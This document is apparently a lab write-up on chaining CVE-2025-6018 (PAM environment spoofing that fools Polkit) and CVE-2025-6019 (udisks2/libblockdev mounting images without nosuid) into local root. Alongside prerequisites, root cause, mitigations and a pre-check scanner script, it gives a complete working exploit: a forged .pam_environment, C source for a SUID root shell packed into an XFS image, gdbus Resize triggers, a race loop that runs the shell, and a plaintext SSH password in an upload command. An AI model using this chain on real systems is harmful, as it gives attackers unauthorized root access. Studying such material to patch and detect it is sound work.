Prerequisites

1. Prerequisites for Identity Spoofing (for CVE-2025-6018)

This is the first leg of the "relay race", aiming to make the system recognize you as a "local" instead of an "outsider".

• Must be a Systemd system: The target must use systemd-logind (Systemd Login Manager) to manage sessions.
• PAM Environment Configuration Permissions: You must have write permissions to the current user's home directory because you need to create or modify the ~/.pam_environment file.
• PAM Module Loading: The target system must have pam_systemd.so (Pluggable Authentication Modules for Systemd) enabled.
• Re-read Environment: You must be able to trigger a new session login (e.g., by re-logging in via ssh or executing su - username) so that the system reads your poisoned environment variables.

2. Prerequisites for Authorization (Polkit's Trust)

This is the "bridge" connecting the two vulnerabilities. Without this step, you cannot invoke subsequent disk management functions.

• Active Status: When viewed via loginctl (Login Control), the Active attribute must be yes.
• Seat Binding: The session must be associated with a specific Seat, typically seat0 (the primary hardware seat).
• Polkit Policy Allowance: The system's Polkit (PolicyKit) policy must be configured to allow "local active users" to operate disks via udisks2 (User-space Disk Management Daemon) without requiring an administrator password.

3. Prerequisites for Vulnerability Triggering (for CVE-2025-6019)

This is the finish line of the "relay race", truly completing the leap from an ordinary user to Root (superuser).

• Vulnerable Library: The version of libblockdev (Block Device Manipulation Library) installed on the system must be within the affected range (unpatched).
• Kernel Support for XFS: The Linux kernel must have the XFS (Extents File System) driver loaded; otherwise, your malicious image cannot be mounted.
• udisks2 Service Running: The system must be running the udisks2 daemon and allow you to invoke its Resize method via D-Bus (Desktop Bus).
• Writable /tmp Directory: Although not absolute, exploitation typically relies on creating temporary mount points under the /tmp directory, and this directory must not have the noexec (no execution) restriction.
• Image Integrity: You must have a locally pre-built XFS image containing a binary file with SUID (Set User ID) permissions.

Vulnerability Overview

1. Vulnerability Overview

• CVE-2025-6018:
  • Name: PAM Environment Variable Injection Vulnerability
  • Type: Logical Flaw / Identity Spoofing
  • Scope of Impact: Primarily affects SUSE series and misconfigured Linux distributions.
• CVE-2025-6019:
  • Name: libblockdev / udisks2 Logical Vulnerability
  • Type: Local Privilege Escalation (LPE)
  • Risk Level: High

2. Root Cause Analysis

• CVE-2025-6018 (Breakthrough): The system's pam_env.so (Pluggable Authentication Modules Environment Library) module is configured with user_readenv=1. This allows ordinary users to inject specific environment variables by modifying the ~/.pam_environment file in their home directory.
  • Key Variables: XDG_SEAT (X Display Group Seat) and XDG_VTNR (X Display Group Virtual Terminal Number).
  • Consequence: Successfully deceives the Polkit (PolicyKit) module, causing remote sessions to be misidentified as "active local sessions", thereby gaining permission to perform sensitive system operations.
• CVE-2025-6019 (Privilege Escalation Point): libblockdev (Block Device Manipulation Library), when handling XFS (Extents File System) filesystem resize requests, mounts a temporary image via udisks2 (User-space Disk Management Daemon).
  • Flaw: The mount process does not set the MS_NOSUID (Mount Flag: No Set User ID) flag.
  • Consequence: Allows users to mount a filesystem image containing an attacker-crafted SUID (Set User ID) program.

3. Exploitation Chain Construction

This section is the essence of the notes, detailing how to chain the two together:

1. Environment Preparation: Create .pam_environment in $HOME with forged local seat information.
2. Session Reset: Trigger a PAM (Pluggable Authentication Modules) session reload (e.g., by reconnecting via SSH).
3. Permission Verification: Confirm that loginctl (Login Control) marks the current user as Active=yes.
4. Payload Deployment: Prepare a malicious XFS (Extents File System) disk image locally, containing a shell with SUID (Set User ID) permissions.
5. Trigger Execution: Use udisksctl (User-space Disk Control Tool) to request resizing this image; the system will automatically mount it, and executing the SUID program inside grants Root (superuser) privileges.

4. Penetration Test Checklist

1. Check if user_readenv=1 exists under /etc/pam.d/. (If not, skip attempting step 2)
2. Check for write permissions to ~/.pam_environment. (check env)
3. Check if pkexec (PolicyKit Execution) or udisksctl (User-space Disk Control Tool) is available.
4. Check if the libblockdev (Block Device Manipulation Library) version is below the patched security version.

5. Mitigation and Defense

• Short-term Strategy: Modify PAM (Pluggable Authentication Modules) configuration to set user_readenv=0.
• Long-term Strategy: Update the system kernel and critical libraries such as libblockdev and udisks2.
• Audit Recommendations: Monitor for anomalous modification records of the ~/.pam_environment file.

Examples

Exploiting CVE-2025-6018

phileasfogg3@pterodactyl:~> cat .pam_environment

XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1

Re-login via SSH

phileasfogg3@pterodactyl:~> env | grep XDG
XDG_VTNR=1
XDG_SESSION_ID=184
XDG_SESSION_TYPE=tty
XDG_DATA_DIRS=/usr/share
XDG_SESSION_CLASS=user
XDG_SEAT=seat0
XDG_RUNTIME_DIR=/run/user/1002
XDG_CONFIG_DIRS=/etc/xdg

Check if SEAT is seat0 and STATE is active

phileasfogg3@pterodactyl:~> loginctl --no-pager
SESSION  UID USER         SEAT  TTY   STATE  IDLE SINCE
     20 1002 phileasfogg3 seat0 pts/0 active no

1 sessions listed.

Confirm Polkit ticket

phileasfogg3@pterodactyl:~> pkcheck --action-id org.freedesktop.udisks2.filesystem-mount --process $$ && echo "VULNERABLE: Polkit is bypassed!"

VULNERABLE: Polkit is bypassed!

If it does NOT prompt for a password and directly prints VULNERABLE, then you have obtained the privilege escalation ticket for CVE-2025-6019.

Exploiting CVE-2025-6019

Step 1: Create a malicious XFS image on the attacking machine

# 1. Create a 300MB empty image file
dd if=/dev/zero of=xfs.image bs=1M count=300

# 2. Format as XFS (Extents File System)
mkfs.xfs xfs.image

# 3. Mount the image and implant the SUID Shell wrapper
mkdir -p ./mnt
sudo mount -o loop xfs.image ./mnt

# 4. Write and compile a simple SUID privilege escalation program (more stable than copying bash directly)
cat << EOF > rootshell.c
#include <unistd.h>
#include <stdlib.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc rootshell.c -o ./mnt/rootshell

# 5. Set the critical SUID (Set User ID) permission
sudo chmod 4755 ./mnt/rootshell

# 6. Unmount the image
sudo umount ./mnt
rm rootshell.c

Execute the above file with sudo. Upload to target: sshpass -p '!QAZ2wsx' scp xfs.image phileasfogg3@pterodactyl.htb:/tmp/

Step 2: Trigger privilege escalation on the target machine

# 1. Enter the /tmp directory
cd /tmp

# 2. Set up the loop device
# udisksctl: User-space Disk Control Tool
LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')
echo "Loop Device: $LOOP_DEV"

# 3. Trigger the vulnerability: Use gdbus to call the Resize method
# This forces libblockdev (Block Device Manipulation Library) to mount the image in a vulnerable way
gdbus call --system --dest org.freedesktop.UDisks2 \
    --object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
    --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

# 4. Find the mount point and run the privilege escalation program
# After the vulnerability is triggered, the image will be mounted under /tmp/blockdev-xxxx
MOUNT_PATH=$(find /tmp -maxdepth 1 -name "blockdev-*" -type d 2>/dev/null)
if [ -z "$MOUNT_PATH" ]; then
    echo "[-] Mount failed, check if you are an Active session."
else
    echo "[+] Found mount at: $MOUNT_PATH"
    $MOUNT_PATH/rootshell
fi

Step 3: Start the snatching loop

# 1. Start an extremely intensive background snatcher
(while true; do 
    target=$(find /tmp -maxdepth 1 -name "blockdev-*" -type d 2>/dev/null)
    if [ -n "$target" ]; then
        echo "[!] MOUNT DETECTED: $target"
        $target/rootshell
        break
    fi
done) &

# 2. Get the snatcher's process ID
SNATCHER_PID=$!

# 3. Re-setup the loop device (assuming you uploaded the image)
LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')

# 4. Trigger the vulnerability (multiple triggers increase success rate)
for i in {1..3}; do
    gdbus call --system --dest org.freedesktop.UDisks2 \
        --object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
        --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
done

# 5. If successful, you will get a Root Shell; if not, kill the snatcher
kill $SNATCHER_PID 2>/dev/null

Finally

phileasfogg3@pterodactyl:/tmp> find /tmp/blockdev.* -name "rootshell" -perm -4000 2>/dev/null
/tmp/blockdev.38YCK3/rootshell
phileasfogg3@pterodactyl:/tmp> /tmp/blockdev.38YCK3/rootshell -p
pterodactyl:/tmp # id
uid=0(root) gid=0(root) groups=0(root),100(users)
·1pterodactyl:/tmp # cat /root/root.txt

Detection

#!/bin/bash

# --- Color Definitions ---
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color

echo -e "${BLUE}====================================================${NC}"
echo -e "${BLUE}       NeobeeSec Privilege Escalation Pre-check Scanner             ${NC}"
echo -e "${BLUE}====================================================${NC}"

# 1. System Basic Information Collection
echo -e "\n${YELLOW}[1] System Basic Information (System Information)${NC}"
echo -e "Hostname: $(hostname)"
echo -e "Kernel Version: $(uname -r)"
if [ -f /etc/os-release ]; then
    # Full name: Operating System Release
    source /etc/os-release
    echo -e "Distribution: $PRETTY_NAME"
fi

# 2. CVE-2025-6018 Status Check (Identity Spoofing Check)
echo -e "\n${YELLOW}[2] CVE-2025-6018 Identity Spoofing Status (Environment Poisoning)${NC}"

# Check environment variables
# Full name: X Display Group Seat
echo -n "XDG_SEAT Status: "
if [[ "$XDG_SEAT" == "seat0" ]]; then
    echo -e "${GREEN}Set to seat0 (meets attack conditions)${NC}"
else
    echo -e "${RED}Not set or not seat0 (current value: $XDG_SEAT)${NC}"
fi

# Check session activity
# Full name: Login Control
if command -v loginctl &>/dev/null; then
    ACTIVE_STATUS=$(loginctl show-session "$XDG_SESSION_ID" --property=Active --value 2>/dev/null)
    echo -e "Session Active Status: ${ACTIVE_STATUS:-Unknown}"
    if [[ "$ACTIVE_STATUS" == "yes" ]]; then
        echo -e "[${GREEN}√${NC}] Session is active, Polkit [PolicyKit] will trust this session."
    else
        echo -e "[${RED}!${NC}] Session is inactive, may not be able to call privileged D-Bus [Desktop Bus] methods."
    fi
else
    echo -e "${RED}[x] loginctl tool not found${NC}"
fi

# 3. Core Libraries and Components Check
echo -e "\n${YELLOW}[3] Key Components and Package Versions (Software Packages)${NC}"

# Check if tools exist
components=("udisksctl" "gdbus" "pkcheck")
for cmd in "${components[@]}"; do
    if command -v "$cmd" &>/dev/null; then
        echo -e "[${GREEN}√${NC}] Tool found: $cmd"
    else
        echo -e "[${RED}x${NC}] Missing tool: $cmd"
    fi
done

# Deep check package versions (supports RPM and DPKG)
# Full name: Red Hat Package Manager
# Full name: Debian Package
check_pkgs=("libblockdev" "udisks2" "polkit" "systemd")

if command -v rpm &>/dev/null; then
    echo -e "\n--- RPM-based package version query ---"
    for pkg in "${check_pkgs[@]}"; do
        rpm -qa | grep -i "$pkg" | sed "s/^/[+] /"
    done
elif command -v dpkg &>/dev/null; then
    echo -e "\n--- DPKG-based package version query ---"
    for pkg in "${check_pkgs[@]}"; do
        dpkg -l | grep -i "$pkg" | awk '{print "[+] "$2, $3}'
    done
fi

# 4. CVE-2025-6019 Privilege Escalation Pre-check (Disk and Mount)
echo -e "\n${YELLOW}[4] CVE-2025-6019 Privilege Escalation Pre-check (LPE Prerequisites)${NC}"

# Check kernel support for XFS
# Full name: Extents File System
if grep -q "xfs" /proc/filesystems; then
    echo -e "[${GREEN}√${NC}] Kernel supports XFS filesystem."
else
    echo -e "[${RED}x${NC}] Kernel does not support XFS, cannot mount escalation image.${NC}"
fi

# Check /tmp directory execute permissions
# Full name: Standard Output
# Full name: Mount
if mount | grep -E '\s/tmp\s' | grep -q "noexec"; then
    echo -e "[${RED}x${NC}] /tmp directory is mounted as noexec (execution forbidden), escalation program may not run."
else
    echo -e "[${GREEN}√${NC}] /tmp directory allows program execution."
fi

# 5. Permission Vulnerability Blind Test (Polkit Authorization Check)
echo -e "\n${YELLOW}[5] Polkit [PolicyKit] Authorization Blind Test${NC}"
# Check if can directly use udisks2 (User-space Disk Management Daemon) mount permissions
if command -v pkcheck &>/dev/null; then
    pkcheck --action-id org.freedesktop.udisks2.filesystem-mount --process $$ &>/dev/null
    if [ $? -eq 0 ]; then
        echo -e "[${GREEN}√${NC}] Authorization successful: You can mount filesystems directly!"
    else
        echo -e "[${RED}x${NC}] Authorization failed: Mount operation requires administrator password."
    fi
fi

echo -e "\n${BLUE}====================================================${NC}"
echo -e "Scan complete. If many items marked with [√] above, the privilege escalation success rate is extremely high."